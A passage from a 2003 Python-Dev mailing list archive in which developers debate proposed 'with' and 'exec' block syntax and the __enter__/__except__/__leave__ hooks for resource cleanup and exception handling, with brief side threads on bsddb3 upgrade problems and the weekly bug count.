caught, True -> caught ... > > __except__ could just reraise the exception if it doesn't handle it. > This behavior would be similar to that of a normal except clause. exactly! holger From mwh@python.net Mon Feb 3 12:27:58 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 03 Feb 2003 12:27:58 +0000 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <6qel6ppoqr.fsf@salmakis.intevation.de> (Bernhard Herzog's message of "03 Feb 2003 12:50:20 +0100") References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> <200302022035.03264.aleax@aleax.it> <6qel6ppoqr.fsf@salmakis.intevation.de> Message-ID: <2m1y2pr1kh.fsf@starship.python.net> Bernhard Herzog writes: > Alex Martelli writes: > >> be helpful too? Meaning to use local variable in lieu of >> the abstract _x -- for example in order to enable: >> >> with myfile = auto_closing_file('blah.txt', 'rb'): >> xx = myfile.read(23) >> # rest of suite snipped >> >> where auto_closing_file is a subclass of file defining useful __enter__ >> (empty -- might be nice to have it optional...) and __exit__ = close >> synonyms (or file itself might grow __exit__ as a synonym for close). >> >> How would I do this elegantly without the assignment...? > > Just as you do with if: Good point. "with" testlist ':' NEWLINE it is, if it's me that gets to write the PEP. Cheers, M. -- Or here's an even simpler indicator of how much C++ sucks: Print out the C++ Public Review Document. Have someone hold it about three feet above your head and then drop it. Thus you will be enlightened. -- Thant Tessman From pedronis@bluewin.ch Mon Feb 3 12:14:49 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 3 Feb 2003 13:14:49 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <3E3E56D0.7000200@livinglogic.de> Message-ID: <009b01c2cb7d$d9401000$6d94fea9@newmexico> From: "Walter D=F6rwald" > > With blocks ifs and fors could look like this: > > node =3D html.table(border=3D0, cellpadding=3D0): > html.tr(): > html.th(): "foo" > html.td(): "bar" > if cond: > html.tr(): > html.th(): "spam" > html.td(): "eggs" > for i in xrange(10): > html.tr(): > html.th(): i > html.td(): i*i this assumes that there's a way to evaluate a thunk as an expression or s= uch that it has the value of the last expression that appears in it. Otherwise, you would have to write things using 'value' direct-return: html.th(): value i regards. From pyth@devel.trillke.net Mon Feb 3 12:27:23 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 13:27:23 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <3E3E56D0.7000200@livinglogic.de>; from walter@livinglogic.de on Mon, Feb 03, 2003 at 12:47:28PM +0100 References: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <3E3E56D0.7000200@livinglogic.de> Message-ID: <20030203132723.C10804@prim.han.de> Walter D?rwald wrote: > Paul Moore wrote: > > > Guido van Rossum writes: > > > > > >>I'm now wondering if there aren't really only two interesting cases, > >>none of which require saving the thunk and calling it later: > >> > >>- synchronized-like, where the block should connect to its environment > >> > >>- property-like, where the block should introduce a new scope, and the > >> caller should be able to inspect or control that scope's namespace > > > > > > I certainly haven't seen any use cases other than these two. In fact, > > pretty much all of the cases I am aware of are synchronised-like, > > which I've been referring to as acquire/release. The only > > property-like cases I'm aware of are properties themselves. > > A use case I can think of is some kind of XML DOM API (Ruby does > something like that with it's cgi module, where node content is > created inside a block). > > With the current Python you can have something like that: > > node = html.table( > html.tr( > html.th("foo"), > html.td("bar") > ), > html.tr( > html.th("spam"), > html.td("eggs") > ), > border=0, > cellpadding=3 > ) > > i.e. element classes that use * and ** arguments in their constructor > to collect content and attribute nodes. > > The problem with this approach is, that the attributes are maximally > separated from their element and that control structures (like if) are > not possible inside the constructor. > > With blocks ifs and fors could look like this: > > node = html.table(border=0, cellpadding=0): > html.tr(): > html.th(): "foo" > html.td(): "bar" > if cond: > html.tr(): > html.th(): "spam" > html.td(): "eggs" > for i in xrange(10): > html.tr(): > html.th(): i > html.td(): i*i you probably missed my other posting where i actually went one step further and implemented this via <...> syntax. Actually i tried *exactly* the syntax you propose here first but i think it's *hopelessly* ambigous with the Python grammar. You simple have no way to know which construct you are in until you read the ':'. Until then you could be in a normal expression. The 'class', 'def', 'if', 'while' etc. keywords disambiguate this right at the beginning. Without a much deeper parser look-ahead this can't be done, i am afraid. holger From Paul.Moore@atosorigin.com Mon Feb 3 12:54:06 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 12:54:06 -0000 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com> From: Bernhard Herzog [mailto:bh@intevation.de] > IMO if you want multiple controllers for a with statement you > should just nest the withs: > > with var1 =3D expr1: > with var2 =3D expr2: > suite To some extent, an important point of the with expression is to simplify the overall control construct, and to reduce the level of nesting needed. Combining the variables was intended to help with this. > This makes the order in which the methods of the varN will be > called obvious. It should be fairly obvious from the combined form too - enter in the order specified, and leave in reverse order. > > In this, any varN can be omitted and a dummy hidden variable > > is used.=20 >=20 > Meaning something like >=20 > with var1, , var3 =3D expr1, expr2, expr3: > suite >=20 > I guess. Urgs. Agreed. I didn't mean that. Originally, I'd specified this as with var1 =3D expr1, var2 =3D expr2, ...: but I switched to parallel the normal multiple assignment idiom. How about with [ var1, var2, ... =3D ] expr1, expr2, ... so that you can omit all or none? That's basically just like a normal tuple assignment. > Nested withs handle this in a cleaner way as well, IMO. Yes, I guess they do. I'll make sure I have this as at least an option in the PEP. I still like the combined form, just because it reduces the tendency to drift towards the right margin. But I'm not convinced it will be important particularly often... Thanks for the comments, Paul. From Paul.Moore@atosorigin.com Mon Feb 3 13:02:00 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 13:02:00 -0000 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com> From: holger krekel [mailto:pyth@devel.trillke.net] > Bernhard Herzog wrote: > > > Alex Martelli writes: > > > > > > the exception should be propogated. The problem is that I'm not > > > > sure what is the best way for an __except__ method to signal > > > > that it caught the exception. > > > > > > Maybe the return value of __except__ should be evaluated in a > > > boolean context encoding this? False -> exception not caught, True > > > -> caught ... > > > > __except__ could just reraise the exception if it doesn't handle it. > > This behavior would be similar to that of a normal except clause . > > exactly! The problem in practice is that this means you have to take explicit = action to say "I don't know what to do with this". I'd rather it was the other = way round, with an empty exception handler def __except__(self): pass doing nothing (as it looks). If you need to reraise, then this handler silently eats all exceptions. Basically, an empty handler should be the same as no handler. (If for no other reason than to give a subclass a way of disabling the superclass' handler). Actually, it's clear to me that the controversial issues are: 1. Multiple expressions in one with clause 2. Exception handling Maybe the simplest answer is to remove both of these options, and stick with a slimmed down version which does gthe basics well. Does anyone = have a good use case for either of these features? Paul. From pyth@devel.trillke.net Mon Feb 3 13:09:34 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 14:09:34 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: ; from lists@morpheus.demon.co.uk on Sun, Feb 02, 2003 at 09:49:31PM +0000 References: <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030203140934.D10804@prim.han.de> Hello, I'll try to take the discussion about a "unified approach" towards 'code block' or thunk handling into a fresh thread and present what Michael Hudson truthfully calls "a friendly competing approach". Preliminaries ------------- We have some use cases for a construct that allows encapsulating try/except/finally hooks into an object. Especially for timely finalization (of files, locks or other resources) we don't want to scatter try-finally constructs all over the place. Please understand that the following proposal has nothing to do with "function-level" thunk-manipulation ala classmethod but only with "inline" thunks (which don't and shouldn't have their own scope). Syntax and semantic proposal ---------------------------- I think we can may get away with only a "weak" keyword and allow the aforementioned encapsulation of execution events into an object like this: exec expr [with params]: suite where the expression is evaluated to return a "thunk" handler with these optional "execution" hooks: def __enter__(self): "before suite start" def __except__(self, type, value, tb): "swallow given exception, reraise if neccessary" def __leave__(self): """upon suite finish (not called if __except__ exists and an exception happened) """ The above "with" parameters (of the form name=expr, comma-separated) are bound in local (or global/nested) *and* handler instance namespace. The 'suite' is what we call "thunk". The above logic allows clean timely finalization for *multiple* ressources: exec autoclose() with f1=open(name1), f2=open(name2, 'w'): for line in f1: ... f2.write(...) which would execute as follows a) autoclose() instance is created and stored as the "thunk"-handler b) f1/f2 are stored as attributes on the autoclose instance c) f1/f2 are put into the local/global namespace (and nested ones if rebinding is allowed) d) thunk executes (for line ...) e) autoclose 'leave' hook is called (with or without exception) and is implemented like this: def __leave__(self): for obj in self.__dict__.values(): obj.close() f) thunk handler is removed Because computing 'f1' may succeed but 'f2' can subsequently fail the assignments *have to* execute within "autoclose" control. Now on to the usage of the except hook. Nice use cases might be exec retry(maxretry=3, on=IOError): # do network io-stuff or exec skip_on(AttributeError, TypeError): some_object.notify_hook() but i am sure there are more. Exception handling is often ugly when inlined with the code. I think that stating 'exception behaviour' up-front allows to write nice readable constructs. __exit__ versus __leave__ --------------------------- One remark (mainly to Michael as he does that other patch) about the hook-name __leave__ versus __exit__. we may want to eventually allow 'yield' within the thunk and then '__exit__' would be misleading. Here is the use case: exec self.mylock: # would lock/unlock on entering/leaving # the generator ... for whatever in something: yield whatever ... Or do you think that this (future) use case warrants yet another hook? If there is interest i can probably modify my patch to allow all of the proposed syntax so that you could play around with it. the next additional idea is not essential for my so-far proposal (but hopefully interesting, nonetheless). regards and interested in comments, holger ------------- Catching values ala Quixote ------------------- With my former patch there was another "execution" event: the catching of "dropped" values ala Quixote. For values that are not assigned to a name and would be discarded otherwise the execution handler can implement another hook: def __catch__(self, value): "catch dropped value from thunk" this allows anonymous (un-named) objects to be passed *within the thunk* to the execution handler. some example use-cases: exec debug: if condition: "something questionable happenend" so you can quite completly encapsulate debug-handling into one object. Note that this exec could be special-cased to do nothing if "debug" is None. Another one (ala the Quixote-framework): exec html_stream: "

title

" "

%s

" % html_quote(para) or even: exec html.tr(): exec html.td(): "column" which comes close to what Walter wants. And maybe you understand now why I choose this strange xml-syntax with my former patch :-) Actually i didn't have the idea of reusing 'exec' which makes a lot more sense to me, now. again with regards and intersted in any remarks, holger From pyth@devel.trillke.net Mon Feb 3 13:30:36 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 14:30:36 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com>; from Paul.Moore@atosorigin.com on Mon, Feb 03, 2003 at 01:02:00PM -0000 References: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com> Message-ID: <20030203143036.E10804@prim.han.de> Moore, Paul wrote: > From: holger krekel [mailto:pyth@devel.trillke.net] > > > Bernhard Herzog wrote: > > > > > Alex Martelli writes: > > > > > > > > the exception should be propogated. The problem is that I'm not > > > > > sure what is the best way for an __except__ method to signal > > > > > that it caught the exception. > > > > > > > > Maybe the return value of __except__ should be evaluated in a > > > > boolean context encoding this? False -> exception not caught, True > > > > -> caught ... > > > > > > __except__ could just reraise the exception if it doesn't handle it. > > > This behavior would be similar to that of a normal except clause . > > > > exactly! > > The problem in practice is that this means you have to take explicit action > to say "I don't know what to do with this". I'd rather it was the other way > round, with an empty exception handler > > def __except__(self): pass > > doing nothing (as it looks). If you need to reraise, then this handler > silently eats all exceptions. Basically, an empty handler should be the > same as no handler. (If for no other reason than to give a subclass a > way of disabling the superclass' handler). With my approach i had all those hooks and __except__ in particular *optional*. So if you actually wrote def __except__(self, type, value, traceback): ... then i presume that you want to check something with the exception (and that's why we should pass it in, btw.). It's difficult if you have an exception within __except__ because the interpreter would have to keep nested 'exception' information. So delegating the responsibility to __except__ is the cleanest solution IMO. All 'execution' hooks should only handle events (enter/leave/except) but not push something back because it really complicates matters. > Actually, it's clear to me that the controversial issues are: > > 1. Multiple expressions in one with clause > 2. Exception handling > > Maybe the simplest answer is to remove both of these options, and stick > with a slimmed down version which does gthe basics well. Does anyone have > a good use case for either of these features? Meanwhile i made a proposal in a new thread where i have some use cases. I am pretty sure that stating exception behaviour up-front is not YAGNI. At least for the xml-case there is a *very* nice use case (which i use in another project): XYZ html.tr(): XYZ html.td(): compute_column() now the html.td() handler can locally catch an exception and present an error-link which leads to a page containing more information and a traceback. Imagine you have to do this with inline try-except clauses: you don't and then you get long meaningless tracebacks with hardly any context what went wrong. With the aid of the __except__ hook you can still render the non-erranonous part of the page and give an immediate clue what went wrong and where. So I think __except__ has the potential to improve error-handling by abstracting it out into a method instead of (redundantly) intermingling it with every thunk. regards, holger From pyth@devel.trillke.net Mon Feb 3 13:35:31 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 14:35:31 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal (on a new thread eventually) Message-ID: <20030203143531.F10804@prim.han.de> [sorry that this posting may double but i failed to post this on a new thread and even 'mutt' with 120 columns doesn't show the subject anymore] Hello, I'll try to take the discussion about a "unified approach" towards 'code block' or thunk handling into a fresh thread and present what Michael Hudson truthfully calls "a friendly competing approach". Preliminaries ------------- We have some use cases for a construct that allows encapsulating try/except/finally hooks into an object. Especially for timely finalization (of files, locks or other resources) we don't want to scatter try-finally constructs all over the place. Please understand that the following proposal has nothing to do with "function-level" thunk-manipulation ala classmethod but only with "inline" thunks (which don't and shouldn't have their own scope). Syntax and semantic proposal ---------------------------- I think we can may get away with only a "weak" keyword and allow the aforementioned encapsulation of execution events into an object like this: exec expr [with params]: suite where the expression is evaluated to return a "thunk" handler with these optional "execution" hooks: def __enter__(self): "before suite start" def __except__(self, type, value, tb): "swallow given exception, reraise if neccessary" def __leave__(self): """upon suite finish (not called if __except__ exists and an exception happened) """ The above "with" parameters (of the form name=expr, comma-separated) are bound in local (or global/nested) *and* handler instance namespace. The 'suite' is what we call "thunk". The above logic allows clean timely finalization for multiple ressources: exec autoclose() with f1=open(name1), f2=open(name2, 'w'): for line in f1: ... f2.write(...) which would execute as follows a) autoclose() instance is created and stored as the "thunk"-handler b) f1/f2 are stored as attributes on the autoclose instance c) f1/f2 are put into the local/global namespace (and nested ones if rebinding is allowed) d) thunk executes (for line ...) e) autoclose 'leave' hook is called (with or without exception) and is implemented like this: def __leave__(self): for obj in self.__dict__.values(): obj.close() f) thunk handler is removed Because computing 'f1' may succeed but 'f2' can subsequently fail the assignments *have to* execute within "autoclose" control. Now on to the usage of the except hook. Nice use cases might be exec retry(maxretry=3, on=IOError): # do network io-stuff or exec skip_on(AttributeError, TypeError): some_object.notify_hook() but i am sure there are more. Exception handling is often ugly when inlined with the code. I think that stating 'exception behaviour' up-front allows to write nice readable constructs. __exit__ versus __leave__ --------------------------- One remark (mainly to Michael as he does that other patch) about the hook-name __leave__ versus __exit__. we may want to eventually allow 'yield' within the thunk and then '__exit__' would be misleading. Here is the use case: exec self.mylock: # would lock/unlock on entering/leaving # the generator ... for whatever in something: yield whatever ... Or do you think that this (future) use case warrants yet another hook? If there is interest i can probably modify my patch to allow all of the proposed syntax so that you could play around with it. the next additional idea is not essential for my so-far proposal (but hopefully interesting, nonetheless). regards and interested in comments, holger ------------- Catching values ala Quixote ------------------- With my former patch there was another "execution" event: the catching of "dropped" values ala Quixote. For values that are not assigned to a name and would be discarded otherwise the execution handler can implement another hook: def __catch__(self, value): "catch dropped value from thunk" this allows anonymous (un-named) objects to be passed *within the thunk* to the execution handler. some example use-cases: exec debug: if condition: "something questionable happenend" so you can quite completly encapsulate debug-handling into one object. Note that this exec could be special-cased to do nothing if "debug" is None. Another one (ala the Quixote-framework): exec html_stream: "

title

" "

%s

" % html_quote(para) or even: exec html.tr(): exec html.td(): "column" which comes close to what Walter wants. And maybe you understand now why I choose this strange xml-syntax with my former patch :-) Actually i didn't have the idea of reusing 'exec' which makes a lot more sense to me, now. again with regards and intersted in any remarks, holger _______________________________________________ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev ----- End forwarded message ----- -- "Why are people killing each other when there is so much fun stuff to be had through friendly cooperation?" (Bengt Richter on c.l.py) "Why are people killing each other when there is so much fun stuff to be had through friendly cooperation?" (Bengt Richter on c.l.py) From walter@livinglogic.de Mon Feb 3 13:35:50 2003 From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Mon, 03 Feb 2003 14:35:50 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <20030203132723.C10804@prim.han.de> References: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <3E3E56D0.7000200@livinglogic.de> <20030203132723.C10804@prim.han.de> Message-ID: <3E3E7036.7010608@livinglogic.de> holger krekel wrote: > [...] > you probably missed my other posting where i actually went > one step further and implemented this via <...> syntax. I saw it. I actually took a look at your IEXEC patch, where this XML stuff is one of your use cases. Compared to the patch, which uses sys._getframe(1).f_locals['__icontent__'] to get at the content nodes I like the __catch__ idea much better. But I find your syntax to be too unpythonic. > Actually i tried *exactly* the syntax you propose here first but > i think it's *hopelessly* ambigous with the Python grammar. > > You simple have no way to know which construct you are in > until you read the ':'. Until then you could be in a > normal expression. The 'class', 'def', 'if', 'while' etc. > keywords disambiguate this right at the beginning. > > Without a much deeper parser look-ahead this can't > be done, i am afraid. You're right, but my point is that in this XML case the new block feature is used so often that an additional keyword might be too much typing overhead. Bye, Walter Dörwald From skip@pobox.com Mon Feb 3 13:40:30 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 07:40:30 -0600 Subject: [Python-Dev] bsddb3 upgrade woes - more gentle transition? Message-ID: <15934.29006.134368.613503@montanaro.dyndns.org> I've seen a couple messages on c.l.py and the spambayes list about "breakage" with the new bsddb3 module. In both cases the breakage they occurred probably wasn't directly related to the change of the modules. It's almost certain that they have two versions of Berkeley DB installed and were using a 2.x or 1.8[56] version with the old bsddb module and are now linking against the 3.x or 4.x library with the new module. Given that most people aren't aware of how to convert their database files and very possibly don't have the necessary RPMs (or other system-specific packages) installed to do the file conversion, I think we need to work a little harder to smooth the transition. I'm not certain just what form that should take. At the very least I will write some text in Misc/NEWS to better indicate what the underlying problem is and ways to solve it. I suspect that many people won't have immediate access to Sleepycat's conversion tools (for any number of reasons). I think a pair of dump/load scripts in Tools/scripts which use pickle as an intermediate format would also be helpful. Skip From aleax@aleax.it Mon Feb 3 13:50:42 2003 From: aleax@aleax.it (Alex Martelli) Date: Mon, 3 Feb 2003 14:50:42 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199CB@UKDCX001.uk.int.atosorigin.com> Message-ID: <200302031450.42918.aleax@aleax.it> On Monday 03 February 2003 02:02 pm, Moore, Paul wrote: ... > Actually, it's clear to me that the controversial issues are: > > 1. Multiple expressions in one with clause > 2. Exception handling > > Maybe the simplest answer is to remove both of these options, and stick > with a slimmed down version which does gthe basics well. Does anyone have > a good use case for either of these features? I can think of no use case for 1. that would not be handled just about as well by nesting 'with' statements. I don't like deep nesting any more than you do, but I suspect the typical nesting of with's won't be any more problematic than for any other existing kind of statement. For 2., I'm thinking of something that's able to automatically perform some call such as db.transaction("rollback") in case of any exception, and maybe some other call such as db.transaction("commit") iff no exception occurred. I.e. an encapsulated equivalent of a try/except/else. Probably not as frequent as the need for an encap.equiv. of a try/finally -- and, as usual, not trivial to decide how best to combine the two needs -- but, it seems to me that use cases for both situations exist: 2a, try/finally equivalent: execute cleanup code no matter what, 2b, try/except/else: execute different code with vs without exceptions Alex From Paul.Moore@atosorigin.com Mon Feb 3 13:57:05 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 13:57:05 -0000 Subject: [Python-Dev] Extended Function syntax Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> From: Michael Hudson [mailto:mwh@python.net] >>> How would I do this elegantly without the assignment...? >> >> Just as you do with if: > > Good point. "with" testlist ':' NEWLINE it is, if it's me > that gets to write the PEP. Are you saying that you don't see the value of with var =3D expr: suite because it can be rewritten as var =3D expr with var: suite ? Hmm, I suppose so. But let's take a step back - what is the "with" syntax for? It's a little more than a shorthand for a try...finally block, because it has an encapsulation value as well. Consider try: f =3D open("blah.txt", "r") ... finally: f.close() compared with # Here, the definition of autoclose is omitted, that's # exactly the point - we don't *care* how it's implemented, # it's just an open file that manages its resources for me with f =3D autoclose("blah.txt", "r"): ... and with f =3D autoclose("blah.txt", "r") with f: ... The problem with the third case as compared to the second is that using autoclose() rather than open() has *no value* in the absence of the with statement. And contrariwise, if x is an object which hasn't been designed for use with the "with" construct, "with x" is meaningless. So I guess what I'm saying is that "with ... autoclose" only make sense in combination. Putting the two on different lines loses that connection. If you need to name the result of the autoclose() call, you either allow the with construct to include the assignment, or you lose that conceptual link. Paul. From aleax@aleax.it Mon Feb 3 14:05:14 2003 From: aleax@aleax.it (Alex Martelli) Date: Mon, 3 Feb 2003 15:05:14 +0100 Subject: [Python-Dev] succinctness? (was: Extended Function syntax) In-Reply-To: <005e01c2cb7c$7fee44a0$6d94fea9@newmexico> References: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz> <200302030202.h1322qg15913@pcp02138704pcs.reston01.va.comcast.net> <005e01c2cb7c$7fee44a0$6d94fea9@newmexico> Message-ID: <200302031505.14730.aleax@aleax.it> On Monday 03 February 2003 01:05 pm, Samuele Pedroni wrote: ... > does what iterclose does a bunch of times in program, she could be tempted > to write iterclose. It's succinctness daemon. General mileage can vary. I think "succintness" is quite a secondary motivation; what generally drives me to "collect" repetitively coded behavior into one class, function, iterator, metaclass, template, macro, or other such "collecting" construct that a language may make available to me, is the desire to remove duplication of code -- both (primarily) duplication of meaningful code, and (secondarily) boilerplate code too. I.e., it's fighting the "copy and paste" daemon, with all of its minuses. Having to code empty special methods for common cases is an example of boilerplate I'd much rather do without, in a somewhat different context than that of "collecting" constructs (though such constructs may at times be usable to alleviate the problem). Consider the only way in which I find classic classes preferable to new-style ones, now that I have some substantial amount of experience using and teaching each kind...: class Ic: "whatever contents, but no __init__" ok = Ic() # fine notok = Ic(23) # raises an exception, just like it should __metaclass__ = type class Nu: "whatever contents, but no __init__" ok = Nu() # fine notok = Nu(23) # "fine" -- *eep!!!* -- masks an error...! To ensure runtime catching of what's typically an error, passing parameters to the class that will be ignored, I have to do nothing special in a classic class, but I do have to have some def __init__(self): pass for a new-style class. I can define a custom metaclass (a subclass of 'type') or baseclass (a subclass of 'object') to relegate this tiny wart (if wart it be) appropriately, of course: class noinit(object): def __init__(self): pass and then subclass noinit rather than subclassing object, or use the (more complicated to code, but perhaps more transparent in use) metaclass equivalent, e.g., something like: class noinittype(type): def __new__(cls, classname, bases, classdict): if not bases and not classdict.has_key('__init__'): bases = noinit, return type.__new__(cls, classname, bases, classdict) with a __metaclass__=noinittype in global scope. Generally, I think that when the language offers ways to reduce code duplication (including boilerplate), those ways WILL eventually be used -- at least by some coders -- because code duplication is such a blight (and many experienced coders have been taught by bitter experience to perceive it as such). That's part of why I'd much rather see macros *NOT* added to Python: I feel that, if they are there, they WILL eventually become widely used -- appropriately in some cases, sure, but (I fear) quite obfuscatingly in many other cases. Similar, even though probably weaker, qualms can be raised about other wide-use mechanisms (not quite as wide and powerful as macros might be) that can reduce code duplication -- they WILL be widely used. The richer and potentially more complicated the mechanism is, the more such wide use can be seen as a rather mixed blessing. Alex From bh@intevation.de Mon Feb 3 14:17:03 2003 From: bh@intevation.de (Bernhard Herzog) Date: 03 Feb 2003 15:17:03 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com> Message-ID: <6qznpdo3ds.fsf@salmakis.intevation.de> "Moore, Paul" writes: > From: Bernhard Herzog [mailto:bh@intevation.de] > > IMO if you want multiple controllers for a with statement you > > should just nest the withs: > > > > with var1 = expr1: > > with var2 = expr2: > > suite > > To some extent, an important point of the with expression is to > simplify the overall control construct, and to reduce the level > of nesting needed. Combining the variables was intended to help > with this. Well, you could easily define a new class that combines several control objects into one object so that you'd get something like this: with obj = combine(var1 = expr1, var2 = expr2): suite combine.__enter__ etc. would delegate their functionality to that of the vars. In the example above you'd have no way to specify the order in which the var methods are intended to be called although the class could guarantee that the __exit__ methods are called in the reverse order of the __enter__ methods. However, it wouldn't be difficult to use a different scheme to give the programmer more control over the oder. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From gsw@agere.com Mon Feb 3 14:27:20 2003 From: gsw@agere.com (Gerald S. Williams) Date: Mon, 3 Feb 2003 09:27:20 -0500 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030203135901.27910.76214.Mailman@mail.python.org> Message-ID: holger krekel wrote: > I think we can may get away with only a "weak" keyword > and allow the aforementioned encapsulation of execution > events into an object like this: > > exec expr [with params]: suite I was about to propose something similar. This looks like it can be unified with what Guido proposed. > regards and interested in comments, An observation: Used like this, "with" looks like an alias for "lambda" (providing default values for all parameters). -Jerry From Paul.Moore@atosorigin.com Mon Feb 3 14:29:40 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 14:29:40 -0000 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D0@UKDCX001.uk.int.atosorigin.com> From: Bernhard Herzog [mailto:bh@intevation.de] >> To some extent, an important point of the with expression is to >> simplify the overall control construct, and to reduce the level >> of nesting needed. Combining the variables was intended to help >> with this. > Well, you could easily define a new class that combines several > control objects into one object so that you'd get something like > this: OK, that's a good point. I'm convinced. Paul. From just@letterror.com Mon Feb 3 14:38:18 2003 From: just@letterror.com (Just van Rossum) Date: Mon, 3 Feb 2003 15:38:18 +0100 Subject: [Python-Dev] Weekly Python Bug/Patch Summary In-Reply-To: <2misw1r650.fsf@starship.python.net> Message-ID: Michael Hudson wrote: > Skip Montanaro writes: > > > Bug/Patch Summary > > ----------------- > > > > 350 open / 3282 total bugs (+14) > > 123 open / 1944 total patches (+16) > > Oh dear. How about saying that each post to python-dev about syntax > must be accompanied by action towards closing out at least one bug or > patch? :) If it's no coincidence this happened while MvL is on vacation, we should be ashamed... Anyway, I closed one patch today (admittedly an easy one ;-). Perhaps as a motivation aid Skips summary could include the top 5 patch and bug closers of last week? Just From Paul.Moore@atosorigin.com Mon Feb 3 14:31:39 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 14:31:39 -0000 Subject: [Python-Dev] Acquire/release functionality Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CF@UKDCX001.uk.int.atosorigin.com> Paul Moore writes: > As far as the acquire/release case is concerned, I think that there is > definitely a strong case for syntactic support for this. The > equivalent idiom in C++ is "resource acquisition is initialisation" > which, while not having syntax support, does rely on the existence of > deterministic destructors, and on the ability to introduce a new scope > at will. Python has neither of these, and the try...finally construct > is verbose enough to make something better worth having. In trying to draw a parallel between "with" and the C++ RAII idiom, I hit a funny, best illustrated by an example: class autoclose(file): __exit__ =3D close with f =3D autoclose("blah.txt", "r"): # Let's get sneaky g =3D f # Main code here # File now gets closed with g: # Who's 